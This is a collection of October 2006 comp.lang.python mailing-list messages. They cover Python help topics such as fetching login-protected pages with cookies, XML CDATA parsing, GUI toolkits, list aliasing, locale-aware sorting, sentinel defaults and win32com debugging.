John J. Lee ???

> "Bernard" <bernard.chhun at gmail.com> writes:
> > zdp wrote:
> [...]
> > > However, now I need to process some pages by a python program. When I
> > > use urllib.urlopen(theurl), I can only get a page which told me I need
> > > login. I think It's reasonable, becuase I wasn't in a loggined session
> > > which as IE did.
> > >
> > > So how can I do my job? I want to get the right webpage by the url. I
> > > have search answers from the groups but didn't get clear answer. Should
> > > I use win32com or urllib? Any reply or information is appreciate. Hope
> > > I put it clear.
>
> > You can do the same thing as IE on your forum using urllib2 and
> > cookielib. In short you need to code a small webcrawler. I can give you
> > my browser module if necessary.
> > You might not have the time to fiddle with the coding part or my
> > browser module so you can also use this particularly useful module :
> > http://wwwsearch.sourceforge.net/mechanize/
> > The documentation is pretty clear for an initiated python programmer.
> > If it's not your case, I'd recommend to read some ebooks on the python
> > language first to get use to it.
>
> In particular, if you're following the approach Bernard suggests, you
> can either:
>
> 1. Log in every time your program runs, by going through the sequence
>    of clicks, pages, etc. that you would use in a browser to log in.
>
> 2. Once only (or once a month, or whatever), log in by hand using IE
>    with a "Remember me"-style feature (if the website offers that) --
>    where the webapp asks the browser to save the cookie rather than
>    just keeping it in memory until you close your browser.  Then your
>    program can load the cookies from your real browser's cookie store
>    using this:
>
> http://wwwsearch.sourceforge.net/mechanize/doc.html#browsers
>
>
> There are other alternatives too, but they depend on knowing a little
> bit more about how cookies and web apps work, and may or may not work
> depending on what exactly the server does.  I'm thinking specifically
> here of saving *session* cookies (the kind that usually go away when
> you close your browser) in a file -- but the server may not like them
> when you send them back the next time, depending how much time has
> elapsed since the last run.  Of course, you can always detect the
> "need to login" condition, and react accordingly.
> 
> 
> John



From horpner at yahoo.com  Fri Oct 13 18:56:15 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Fri, 13 Oct 2006 22:56:15 GMT
Subject: Best IDE?
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<mailman.488.1160779473.11739.python-list@python.org>
Message-ID: <jQUXg.6185$5i7.4150@newsreading01.news.tds.net>

On 2006-10-13, Gerrit Holl <gerrit at nl.linux.org> wrote:
> On 2006-10-13 16:31:37 +0200, Ahmer wrote:
>> Subject: Best IDE?
>
> cat > foo.py
>
>> How much does it cost?
>
> 0

On Windows this editor is invoked like this:

COPY CON: FOO.PY

HTH! HAND!

-- 
Neil Cerutti


From fredrik at pythonware.com  Fri Oct 13 05:03:45 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 11:03:45 +0200
Subject: How to print the CDATA of .xml file?
References: <8c8dcbe30610122342m2fea53f3j5cc503658bc8ff5f@mail.gmail.com>
Message-ID: <egnkph$dr8$1@sea.gmane.org>

Kevien Lee wrote:

> when i use the minidom to parase the XML file,it would ignored the section
> of <![CDATA[.......]>
> the code is:
>
> _document=minidom.parse("filePath")
> _documnetList=_document.getElementsByTagName("NodeArgs")
> for _argNode in _documnetList:
>    print _argNode.nodeValue,_argNode.localName
>
> when it run. The nodeValue of the CDATA Section  is  always None,Is my code
> error?

here's one way to do it, under Python 2.5:

    import xml.etree.ElementTree as ET

    tree = ET.parse(filename)

    for elem in tree.findall(".//NodeArgs"):
        print elem.findtext("Disp")
        print elem.findtext("BtmPane/Path")

</F> 





From proteusguy at gmail.com  Sat Oct  7 01:12:27 2006
From: proteusguy at gmail.com (proteusguy at gmail.com)
Date: 6 Oct 2006 22:12:27 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1159908166.587313.57370@i3g2000cwc.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159908166.587313.57370@i3g2000cwc.googlegroups.com>
Message-ID: <1160197946.958936.21150@m73g2000cwd.googlegroups.com>

Jira is a remarkably well done product. We've adopted it internally and
use it for project planning (we're doing Agile) as well as defect
tracking. The plugin support and user interface just can't be touched
by the competition and I've been looking. I'd prefer an open source
python based system and maybe one day someone will make such a thing on
top of django, turbo gears, or quixote but they're gonna have a lot of
catching up to do.

  -- Ben

Istvan Albert wrote:
<snip>
> But this will definitely not happen over a short period of time and
> even in the worst case scenario there will be a few years in which the
> development can take place in an awesome environment. I've looked at
> the JIRA demo, and wow, it really seems like an amazingly cool way to
> do software development.
<snip>



From pydecker at gmail.com  Sun Oct 22 09:19:20 2006
From: pydecker at gmail.com (Peter Decker)
Date: Sun, 22 Oct 2006 09:19:20 -0400
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161510017.622766.187460@k70g2000cwa.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161444416.749636.172530@i42g2000cwa.googlegroups.com>
	<mailman.908.1161452358.11739.python-list@python.org>
	<1161510017.622766.187460@k70g2000cwa.googlegroups.com>
Message-ID: <ca55a9900610220619w692c84c9xe41ae9bf2cf6785@mail.gmail.com>

On 22 Oct 2006 02:40:17 -0700, bearophileHUGS at lycos.com
<bearophileHUGS at lycos.com> wrote:

> With some cleaning and improving, I think wax
> (http://zephyrfalcon.org/labs/wax.html ) can become good too.

I looked at Wax, but the author doesn't seem to be too involved with
it. It looks like a cool idea that he developed far enough to make it
work, and then got bored with it. I mean hell, there isn't even a
workable grid class that does anything differently than the wxPython
grid does!

Dabo's implementation is already llight years ahead of Wax, despite
entering the game much later. When you've worked with lots of open
source projects, you can tell which are actively being developed and
which are dead or comatose; you can tell which have a growing
community and which are stagnant; you can tell which are worth
investing your time into learning and/or contributing to, and which
are dead-ends. Wax feels like a real dead-end to me.

-- 

# p.d.


From sturlamolden at yahoo.no  Sat Oct 21 12:13:42 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 21 Oct 2006 09:13:42 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161443842.206948.145300@i42g2000cwa.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161443842.206948.145300@i42g2000cwa.googlegroups.com>
Message-ID: <1161447222.660369.196370@i3g2000cwc.googlegroups.com>


Wektor wrote:

> wx has also graphical editors like Glade (there is a wxGlade project)
> giving a xml description of a window and its cross platform.

If you are thinking about XRC, then beware that this XML don't solve
any problems, it just creates another. XRC and libglade do not compare.
libglade makes the GUI development easy and the program code clean and
easy to read. XRC makes the GUI development difficult and the program
code convoluted and difficult to read.

Also wxGlade is not GLADE. In particular, wxGlade is unstable and tend
to crash or do stupid things. But if your alternative is to hand-code
the wxPython GUI, then wxGLADE is nevertheless the better option.

> On the other hand its a pity that there isnt much choice in cross
> platform (win mac lin) GUI platforms until now i was a great fan of GTK
> but there isnt a proper port for Mac.

GTK is being ported to Aqua, but the port it is in its early stages.

> Its also a pity that no one didnt do something based on OpenGL with
> python (or maybe im wrong) it could be cool and really cross-platform.

You are wrong. There are PyOpenGL and there is cross-platform GUI and
game development platforms that use it (PyGTK, wxPython, PyGame). There
are also PyOgre, which are more pythonic than using OpenGL directly.



From sjmachin at lexicon.net  Sat Oct  7 04:57:45 2006
From: sjmachin at lexicon.net (John Machin)
Date: 7 Oct 2006 01:57:45 -0700
Subject: dictionary containing a list
In-Reply-To: <mailman.14.1160205491.11739.python-list@python.org>
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
	<1160172055.962140.180110@b28g2000cwb.googlegroups.com>
	<mailman.14.1160205491.11739.python-list@python.org>
Message-ID: <1160211465.070263.265340@i3g2000cwc.googlegroups.com>


Steve Holden wrote:
> John Machin wrote:
> > Ben wrote:
> >
> >>Hello...
> >>
> >>I have set up a dictionary into whose values I am putting a list. I
> >>loop around and around filling my list each time with new values, then
> >>dumping this list into the dictionary. Or so I thought...
> >>
> >>It would appear that what I am dumping into the dictionary value is
> >>only a pointer to the original list, so after all my iterations all I
> >>have is a dictionary whose every value is equal to that of the list the
> >>final time I looped around :-(
> >>
> >>Is there a way to acheive what I was attempting ? I have done something
> >>almost identical with classes  in a list before, and in that case a new
> >>instance was created for each list entry...
> >>
> >>
> >>I hope this makes some sense, and doesn't seem to head bangingly
> >>simple...
> >>
> >
> >
> > Do you consult your physician over a video link while wearing a ninja
> > costume down an unlit coal mine at midnight?
> >
> > Please consider the possibility that your description of what you think
> > your code might be doing is not enough for diagnosis.
> >
> > You may need to supply:
> > (1) a listing of your code
> > (2) a small amount of input data
> >    e.g. [(1, 'foo'), (42, 'bar'), (1, 'zot')]
> > (3) the output you expect from that input:
> >    e.g. {1: ['foo', 'zot'], 42: ['bar']}
> >
> One of the fascinating things about c.l.py is that sometimes a questin
> will be posted that makes almost no sense to me, and somebody else will
> casually read the OP's mind, home in on the issue and provide a useful
> and relevant answer.
>
> In this case it seems transparent to me, though probably not to you,
> that Ben's problem is rootd in the following behaviour, well-known in
> python but frequently confusing to noobs:
>
>   >>> a = [1, 2, 3]
>   >>> firstlist = a
>   >>> a.append('another element')
>   >>> firstlist
> [1, 2, 3, 'another element']
>   >>>
>

It's quite transparent to me that his symptom is caused by the one list
being used throughout the exercise, instead of one per different dict
key. What you have described is one possibility.

Here's another possibility: Making the charitable assumption that he
has an outer loop and an inner loop, maybe (as I think another poster
has already suggested) all he needs to do is move "mylist = []" inside
the outer loop. Note that he doesn't say explicitly whether the one
list that he gets is the *correct* list for the last key, or whether
it's the catenation of all the correct lists, or something else.

Yet another: Noobs do all sorts of funny things. He could be operating
on a "clean the bucket out after each use instead making a new one"
paradigm:

| >>> d= {}
| >>> L = []
| >>> L.append(1)
| >>> L.append(2)
| >>> d['a'] = L
| >>> d
| {'a': [1, 2]}
| >>> del L[:]
| >>> d
| {'a': []}
| >>> L.append(3)
| >>> L.append(4)
| >>> d['b'] = L
| >>> d
| {'a': [3, 4], 'b': [3, 4]}

Cheers,
John



From rrr at ronadam.com  Thu Oct 19 09:00:25 2006
From: rrr at ronadam.com (Ron Adam)
Date: Thu, 19 Oct 2006 08:00:25 -0500
Subject: Flexible Collating (feedback please)
In-Reply-To: <1161253696.778503.45960@k70g2000cwa.googlegroups.com>
References: <35kZg.6681$fl.2685@dukeread08><UxwZg.6707$fl.6559@dukeread08>
	<1161253696.778503.45960@k70g2000cwa.googlegroups.com>
Message-ID: <8JKZg.6744$fl.3093@dukeread08>

Leo Kislov wrote:
> Ron Adam wrote:
> 
>> locale.setlocale(locale.LC_ALL, '')  # use current locale settings
> 
> It's not current locale settings, it's user's locale settings.
> Application can actually use something else and you will overwrite
> that. You can also affect (unexpectedly to the application)
> time.strftime() and C extensions. So you should move this call into the
> _test() function and put explanation into the documentation that
> application should call locale.setlocale

I'll experiment with this a bit, I was under the impression that local.strxfrm 
needed the locale set for it to work correctly.

Maybe it would be better to have two (or more) versions?  A string, unicode, and 
locale version or maybe add an option to __init__ to choose the behavior? 
Multiple versions seems to be the approach of pre-py3k.  Although I was trying 
to avoid that.

Sigh, of course issues like this is why it is better to have a module to do this 
with.  If it was as simple as just calling sort() I wouldn't have bothered. ;-)


>>          self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE)
> 
> [snip]
> 
>>          if NUMERICAL in self.flags:
>>              slist = self.numrex.split(s)
>>              for i, x in enumerate(slist):
>>                  try:
>>                      slist[i] = float(x)
>>                  except:
>>                      slist[i] = locale.strxfrm(x)
> 
> I think you should call locale.atof instead of float, since you call
> re.compile with re.LOCALE.

I think you are correct, but it seems locale.atof() is a *lot* slower than 
float(). :(

Here's the local.atof() code.

def atof(string,func=float):
     "Parses a string as a float according to the locale settings."
     #First, get rid of the grouping
     ts = localeconv()['thousands_sep']

     if ts:
         string = string.replace(ts, '')
     #next, replace the decimal point with a dot
     dd = localeconv()['decimal_point']
     if dd:
         string = string.replace(dd, '.')
     #finally, parse the string
     return func(string)


I could set ts and dd in __init__ and just do the replacements in the try...

         if NUMERICAL in self.flags:
             slist = self.numrex.split(s)
             for i, x in enumerate(slist):
                 if x:              # slist may contain null strings
                     if self.ts:
                         xx = x.replace(self.ts, '')   # remove thousands sep
                     if self.dd:
                         xx = xx.replace(self.dd, '.')  # replace decimal point		
                     try:
                         slist[i] = float(xx)
                     except:
                         slist[i] = locale.strxfrm(x)

How does that look?

It needs a fast way to determine if x is a number or a string.  Any suggestions?



> Everything else looks fine. The biggest missing piece is support for
> unicode strings.


This was the reason for using locale.strxfrm. It should let it work with unicode 
strings from what I could figure out from the documents.

Am I missing something?

Thanks,
   Ron



From ardsrk at gmail.com  Mon Oct 30 01:21:15 2006
From: ardsrk at gmail.com (ArdPy)
Date: 29 Oct 2006 22:21:15 -0800
Subject: Very simple request about argument setting.
In-Reply-To: <1162181887.815509.95420@m7g2000cwm.googlegroups.com>
References: <1162173597.849028.25940@m7g2000cwm.googlegroups.com>
	<1162177851.172060.228610@m7g2000cwm.googlegroups.com>
	<1162181887.815509.95420@m7g2000cwm.googlegroups.com>
Message-ID: <1162189275.430660.22870@b28g2000cwb.googlegroups.com>


Hakusa at gmail.com wrote:
> ArdPy wrote:
> > There is an error in the syntax the star must prefix the variable name
> > not suffix it.
> > Then the items variable will accept the parameter value as a tuple.
>
> Hmm, tuples are immutable, right? I need something mutable so that when
> the player picks up an item, it's no longer in the room.
>
> Besides which, I've been playing with this whole thing in the
> interactive interpreter:
>
> >>> def shuf(x,*foo, **bar):
> ... 	return x, foo
> ...
> >>> x,foo,bar = shuf(1,2,3,4,5,6,7,8)
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in <module>
> ValueError: need more than 2 values to unpack
>
> I remember that two stars is for the second tuple, but how do I
> distinguish between what var is for which tuple? I've tried using
> brackets, braces, prenthisies, nothing seems to work. So what I am
> doing wrong?
The thing is that the parameter 'bar' is actually a dictionary object
so the right way of calling shuf is then
x,foo,bar = shuf(1,2,3,4,5,a=6,b=7,c=8)



From kylotan at gmail.com  Fri Oct 20 11:20:06 2006
From: kylotan at gmail.com (Ben Sizer)
Date: 20 Oct 2006 08:20:06 -0700
Subject: Using Python scripts in Windows Explorer
Message-ID: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>

I'd like to be able to drag a file onto a Python script in Windows
Explorer, or send that file to the script via the Send To context-menu
option, so I can then process that file via sys.argc.

Unfortunately, I can't drag items onto the Python script, because
Windows doesn't recognise that the script is executable (unless I
double-click it, upon which it runs as usual, without the command line
parameter of course) and won't set it as a drop target. And it won't
even appear in the Send To menu after the usual steps are taken to get
it there.

I then tried to wrap it in a batch file, but encounter a problem, where
that batch file is able to execute the Python file if I double-click
the batch file, but if I drag a file onto it it says it can no longer
find the Python script.

Are there any simple and workable solutions for this sort of thing?

-- 
Ben Sizer



From haraldarminmassa at gmail.com  Wed Oct  4 04:49:14 2006
From: haraldarminmassa at gmail.com (GHUM)
Date: 4 Oct 2006 01:49:14 -0700
Subject: Best way to handle large lists?
In-Reply-To: <45227982.4060808@hotmail.com>
References: <prrUg.1662$We.477@trndny08>
	<jwjw-E75E09.09362703102006@news.isp.giganews.com>
	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>
	<7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com>
Message-ID: <1159951754.436595.27070@k70g2000cwa.googlegroups.com>

> > Maybe the application should use sets instead of lists for these
> > collections.
> What would sets do for me over lists?

searching for an element in a list is O(n)
searching for an element in a set is O(1)   (for reasonable distributed
elements)

Harald



From michael at stroeder.com  Thu Oct 26 13:07:28 2006
From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=)
Date: Thu, 26 Oct 2006 19:07:28 +0200
Subject: SSL follow up
In-Reply-To: <7xac3muwg4.fsf@ruckus.brouhaha.com>
References: <mailman.1035.1161666486.11739.python-list@python.org>
	<7xac3muwg4.fsf@ruckus.brouhaha.com>
Message-ID: <gj6714-9nf.ln1@nb2.stroeder.com>

Paul Rubin wrote:
> 
> To dump out the certificate?  Try:
> 
>    openssl x509 -text -in filename.crt
> 
> if the cert is in a file.  Omit that -in parameter if you want openssl
> to read from stdin.  Of course now you get this other text format
> thing to parse, but it's not so bad.

I wouldn't recommend that. Actually I tried one time. Use a decent
module instead which parses certs for you. I wrote one myself for web2ldap.

Ciao, Michael.


From ncoghlan at gmail.com  Tue Oct 17 06:10:26 2006
From: ncoghlan at gmail.com (NickC)
Date: 17 Oct 2006 03:10:26 -0700
Subject: Python 2.4 online certification - new items available for Beta
	testing
References: <1160673391.870483.295320@c28g2000cwb.googlegroups.com>
	<mailman.391.1160675848.11739.python-list@python.org>
Message-ID: <1161079826.060082.324280@i42g2000cwa.googlegroups.com>

skip at pobox.com wrote:
> Randy> There is a free Beta test of a Python 2.4 Certification test
>     Randy> available at Brainbench.com. They are a provider of skills-based
>     Randy> certification exams.  Go to the link below to find the test. It
>     Randy> is free to take the test.
>
>     Randy> http://www.brainbench.com/xml/bb/common/testcenter/betatests.xml
>
> I've given up on Brainbench.  Ignoring the possibility that their
> certification tests may not be all that useful, they never stopped spamming
> me, so I refuse to help them with anything.
>
> Skip

I went through their first test module (although using a mailinator
address after this testimonial from Skip) and I think "Beta" is
generous. Try "pre-alpha" - i marked nearly half (maybe more than half)
of the 20 questions as "no correct answer", and a number of the others
included sample code that stank to high heaven.

I also pointed out that "what does this code do?" type questions are
pretty pointless for a language that comes with an interactive
interpreter (I would actually be somewhat disappointed with any Python
programmer whose automatic reaction to such a question involving
deliberately obfuscated code *wasn't* to try it out on the nearest
interpreter prompt).



From deets at nospam.web.de  Sat Oct 21 11:07:34 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 21 Oct 2006 17:07:34 +0200
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <453A3440.8090801@kevin-walzer.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
Message-ID: <4purdjFki6jcU1@uni-berlin.de>

> I'm a Mac developer--Gtk does not run natively on the Mac (i.e. as an
> Aqua framework), only under X11. So that's a non-starter for me.


Besides the excellent PyObjc-bridge that of course only works for 
Mac-only-development, you might consider PyQt. Biggest drawback: the 
GPL-license. But feature-wise, it beats IMHO all other toolkits.

It looks pretty well under OSX. Not absolutely perfect, but certainly 
better that the alternatives. Google earth for example is created with 
it, at least in the Mac-incarnation.

Diez


From __peter__ at web.de  Mon Oct 23 10:31:32 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Oct 2006 16:31:32 +0200
Subject: Problems trying to override __str__ on path class
References: <Xns98647267B6E82kojaklikescheerios@144.162.164.191>
	<ehggfk$60i$00$1@news.t-online.com>
	<Xns9864C70166F52kojaklikescheerios@144.162.164.191>
	<ehhund$1fi$00$1@news.t-online.com>
	<Xns986541F02326kojaklikescheerios@144.162.164.191>
Message-ID: <ehijjp$b5p$01$1@news.t-online.com>

Mike Krell wrote:

> Alas, the print statement says "2.1".??So?there's?a?definite?platform?/
> environment difference here, but that isn't it.

It turns out the observed difference is only indirectly triggered by the
differing platforms. On my machine the path baseclass is str. If I change
it to unicode (by patching path.py), I get the same output that you had.
The problem can be reduced to

>>> class A(str):
...     def __str__(self): return "yadda"
...
>>> "%s" % A(), str(A())
('yadda', 'yadda')
>>> class B(unicode):
...     def __str__(self): return "yadda"
...
>>> "%s" % B(), str(B())
(u'', 'yadda')

So Python itself doesn't honor an overridden __str__() method for the "%s"
format. Implementing __unicode__() doesn't help, either:

>>> class C(unicode):
...     def __unicode__(self): return u"YADDA"
...     def __str__(self): return "yadda"
...
>>> "%s" % C(), unicode(C())
(u'', u'')

Somewhere there is an isinstance() test where there should be a test for the
exact class. Seems like a bug to me.

Peter



From Eric_Dexter at msn.com  Wed Oct  4 21:49:22 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 4 Oct 2006 18:49:22 -0700
Subject: Where is Python in the scheme of things?
In-Reply-To: <Hq-dnVlTQZTnx7nYnZ2dnUVZ_qCdnZ2d@trueband.net>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
	<Hq-dnVlTQZTnx7nYnZ2dnUVZ_qCdnZ2d@trueband.net>
Message-ID: <1160012962.848464.80820@k70g2000cwa.googlegroups.com>


Carl Trachte wrote:
> I came from a VB/VBA environment before using Python.  My experience has
> been that Python has a lot more free, pre-coded tools within its community
> to do the sort of things I do in my job (geometric algorithms, date-time
> functions, processing and accessing lists of items, scientific programming,
> etc., etc.).  The main strength of VB6 was its ease in dragging and dropping
> stuff to make a graphical user interface (GUI).  The main strength of VBA is
> that a lot of people know it and it interfaces with the Excel spreadsheet
> software nicely (except when Windows is acting up, but that's another
> story).  Tkinker took some getting used to.  I've dabbled with wxPython a
> bit.  After an initial learning curve, the tools aren't that hard to use,
> and they both have modules for pre-made widgets (window items) like PMW for
> Tkinter.
>
> The module system, I find, is almost always a step up from dealing with
> VB/VBA's DLL's.  "DLL hell" is real, especially for someone coming into a
> programming environment for the first time.
>
> My last point is a bit controversial.  You will get smarter faster and
> cheaper in the Python community.  It's not that there aren't smart people in
> the (classic) VB community.  It's just that there are a lot of people in
> that community that never programmed in any other language, people that
> think that learning a Unix based system is too much to ask from an employer,
> people that believe that the GUI is the quality center and most critical
> part of the program, and that the backend is an afterthought.  I wish I were
> being cynical or exaggerating, but I'm not.  Hanging out around the Python
> community will make you a better VB, dotNet (C#), or C++ programmer, even if
> you go with one of those as your language of choice.
>
> My 2 cents.
>
> Carl Trachte
>
> "gord" <gord at no_spaming.com> wrote in message
> news:I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d at magma.ca...
> > As a complete novice in the study of Python, I am asking myself where this
> > language is superior or better suited than others. For example, all I see
> in
> > the tutorials are lots of examples of list processing, arithmetic
> > calculations - all in a DOS-like environment.
> >
> > What is particularly disappointing is the absence of a Windows IDE,
> > components and an event driven paradigm. How does Python stand relative to
> > the big 3, namely Visual C++, Visual Basic and Delphi? I realize that
> these
> > programming packages are quite expensive now while Python is free (at
> least
> > for the package I am using - ActivePython).
> >
> > Please discuss where Python shines.
> > Gord
> >
> >


I had a choice of writing in c or in python.  I am choosing python
because it is the scripting language that is used in csound.  I have to
admit that it feels like banging my head against the floor sometimes
and at other times it is realy rapid.  The price is also right being
unemployed reduced my software budget even though I do have two c
compilers(borland and microsoft), three if you count public domain
(bloodshed) and dark basic.  I have noticed alot of sound tools that
use python and other csound public domain app's that have been writen
in python.  The gtk stuff is intresting and sorta beg to be put into a
public distrubution with a rapid framework and boa-constructor could
have alot of new features added for rapid devolopment such as click on
code to replace solid values.  Possibly the tools only get better with
time.

http://www.stormpages.com/edexter/csound.html



From Matthew.Warren at digica.com  Thu Oct  5 07:19:58 2006
From: Matthew.Warren at digica.com (Matthew Warren)
Date: Thu, 5 Oct 2006 12:19:58 +0100
Subject: Why do this?
In-Reply-To: <Xns985378283690Dduncanbooth@127.0.0.1>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE592@UKEX01.Digica.local>

 > Also, having a variable of type str called 'number' seems 
> perverse (and 
> probably error prone), so I suspect I might need something like:
>

And not something I would normally do, but for hastily written contrived
examples I might :)

 
>    print "There are "+str(number)+" ways to skin a "+furryanimal
> 
> but the format string does the conversion for free.
> 
> The other main reason for preferring format strings is that 
> they make it 
> easier to refactor the code. If you ever want to move the 
> message away from 
> where the formatting is done then it's a lot easier to 
> extract a single 
> string than it is to clean up the concatenation.
> -- 


This is a benefit of pythons implementation of format strings I hadn't
considered, that __str__() is called to get the representation. And
something I like about python, althgouh at the moment the __xxx__
methods available and their use is something I'm just getting into


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From gagsl-py at yahoo.com.ar  Fri Oct 27 15:41:27 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 27 Oct 2006 16:41:27 -0300
Subject: Sentinel values for special cases
In-Reply-To: <eht5ou$7v5$1@panix3.panix.com>
References: <mailman.1308.1161912647.11739.python-list@python.org>
	<eht5ou$7v5$1@panix3.panix.com>
Message-ID: <7.0.1.0.0.20061027162224.03fe9e38@yahoo.com.ar>

At Friday 27/10/2006 11:40, Aahz wrote:

> >    GLOBAL = object()
> >
> >    def insert_ids(ids=GLOBAL):
> >        if ids is GLOBAL:
> >            ids = get_global_ids()
>
>The one disadvantage of this approach is that it complicates pickling
>if/when you store the stentinel in an instance.  There are ways of
>working around that, but none are pleasant.

But why should you store the sentinel in an instance? It's only 
purpose is to detect a special case in the parameter, when None is 
not appropiate.
Even if you were assigning instance attributes, you can use the 
sentinel as a default class attribute (which are not pickled).

 >>> GLOBAL = object()
 >>> class A(object):
...     x = GLOBAL
...     def __init__(self, x=GLOBAL):
...         if x is not GLOBAL:
...             self.x = x
...
 >>> a = A(1)
 >>> a.x
1
 >>> vars(a)
{'x': 1}
 >>> b = A()
 >>> b.x
<object object at 0x00B8B438>
 >>> vars(b)
{}
 >>>
 >>> from cPickle import loads,dumps
 >>> s=dumps(b)
 >>> b2=loads(s)
 >>> b2.x
<object object at 0x00B8B438>
 >>> vars(b2)
{}



-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
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From cfriedalek at gmail.com  Wed Oct 25 03:22:04 2006
From: cfriedalek at gmail.com (cfriedalek at gmail.com)
Date: 25 Oct 2006 00:22:04 -0700
Subject: win32com problem
In-Reply-To: <mailman.1133.1161744339.11739.python-list@python.org>
References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
	<mailman.1129.1161742000.11739.python-list@python.org>
	<1161742821.165933.113900@i42g2000cwa.googlegroups.com>
	<mailman.1133.1161744339.11739.python-list@python.org>
Message-ID: <1161760924.325276.67930@e3g2000cwe.googlegroups.com>


Gabriel Genellina wrote:
> Run it on the debugger step by step, and inspect all the intermediate objects.
> Synergy.StudyDoc might be a function, by example, so you should add
> another pair of ().
> This is not obvious looking at the VB code.

(Sorry, tied up this arvo so I could respond to your suggestion
earlier.)

Here's part of a debug session.

(Pdb) type(Synergy.StudyDoc)
<type 'instance'>

(Pdb) type(Synergy.StudyDoc.GetFirstTet)
<type 'instance'>

(Pdb) Synergy.StudyDoc.GetFirstTet
<COMObject <unknown>>

(Pdb) dir (Synergy.StudyDoc)
['_ApplyTypes_', '_FlagAsMethod', '_LazyAddAttr_', '_NewEnum',
'_Release_', '__A
ttrToID__', '__LazyMap__', '__call__', '__cmp__', '__doc__',
'__getattr__', '__g
etitem__', '__init__', '__int__', '__len__', '__module__',
'__nonzero__', '__rep
r__', '__setattr__', '__setitem__', '__str__', '_builtMethods_',
'_enum_', '_fin
d_dispatch_type_', '_get_good_object_', '_get_good_single_object_',
'_lazydata_'
, '_make_method_', '_mapCachedItems_', '_oleobj_', '_olerepr_',
'_print_details_
', '_proc_', '_unicode_to_string_', '_username_', '_wrap_dispatch_']

(Pdb) dir (Synergy.StudyDoc.GetFirstTet)
['_ApplyTypes_', '_FlagAsMethod', '_LazyAddAttr_', '_NewEnum',
'_Release_', '__A
ttrToID__', '__LazyMap__', '__call__', '__cmp__', '__doc__',
'__getattr__', '__g
etitem__', '__init__', '__int__', '__len__', '__module__',
'__nonzero__', '__rep
r__', '__setattr__', '__setitem__', '__str__', '_builtMethods_',
'_enum_', '_fin
d_dispatch_type_', '_get_good_object_', '_get_good_single_object_',
'_lazydata_'
, '_make_method_', '_mapCachedItems_', '_oleobj_', '_olerepr_',
'_print_details_
', '_proc_', '_unicode_to_string_', '_username_', '_wrap_dispatch_']

I'm pretty green with this kind of introspection (but willing to dig in
and learn). With the VBS code seems like GetFirstTet is a method of
StudyDoc that returns a variable which converted to string yields "TE1"
 etc. But that doesn't seem to be true for python.

Is there any other way I can find out what attributes etc are available
to the GetFirstTet instance?

The type library is not supplied with the app. so if my basic
understanding is correct, I can't early bind.



From hanumizzle at gmail.com  Fri Oct  6 22:52:05 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 22:52:05 -0400
Subject: dictionary containing a list
In-Reply-To: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
Message-ID: <463ff4860610061952p4f1480cex31f38eb0b9e58cf@mail.gmail.com>

On 6 Oct 2006 14:37:59 -0700, Ben <Benjamin.Barker at gmail.com> wrote:

> Is there a way to acheive what I was attempting ? I have done something
> almost identical with classes  in a list before, and in that case a new
> instance was created for each list entry...

Not sure what you're trying to pull off, but you may wish to copy the
items in question. (Questions indeed!). Dictionarys have their own
shallow copy method, surprisingly named copy, and there is also a copy
module that does shallow and deep copy (copy and deepcopy, resp.)

HTH,
Theerasak


From salvatore.didio at wanadoo.fr  Mon Oct 16 14:31:14 2006
From: salvatore.didio at wanadoo.fr (Salvatore)
Date: 16 Oct 2006 11:31:14 -0700
Subject: urllib.urlopen: Errno socket error
In-Reply-To: <1161022115.983554.76140@h48g2000cwc.googlegroups.com>
References: <1161022115.983554.76140@h48g2000cwc.googlegroups.com>
Message-ID: <1161023474.872714.138630@f16g2000cwb.googlegroups.com>

Hello,

Try to increase the time out : socket.settimeout(n)
and catch the timeout error when it occurs

Regards



kgrafals at gmail.com a ?crit :

> Hi,
>
> I'm just trying to read from a webpage with urllib but I'm getting
> IOErrors. This is my code:
>
> import urllib
> sock = urllib.urlopen("http://www.google.com/")
>
> and this is the error:
>
> Traceback (most recent call last):
>   File "<pyshell#5>", line 1, in <module>
>     sock = urllib.urlopen("http://www.google.com/")
>   File "C:\Python25\lib\urllib.py", line 82, in urlopen
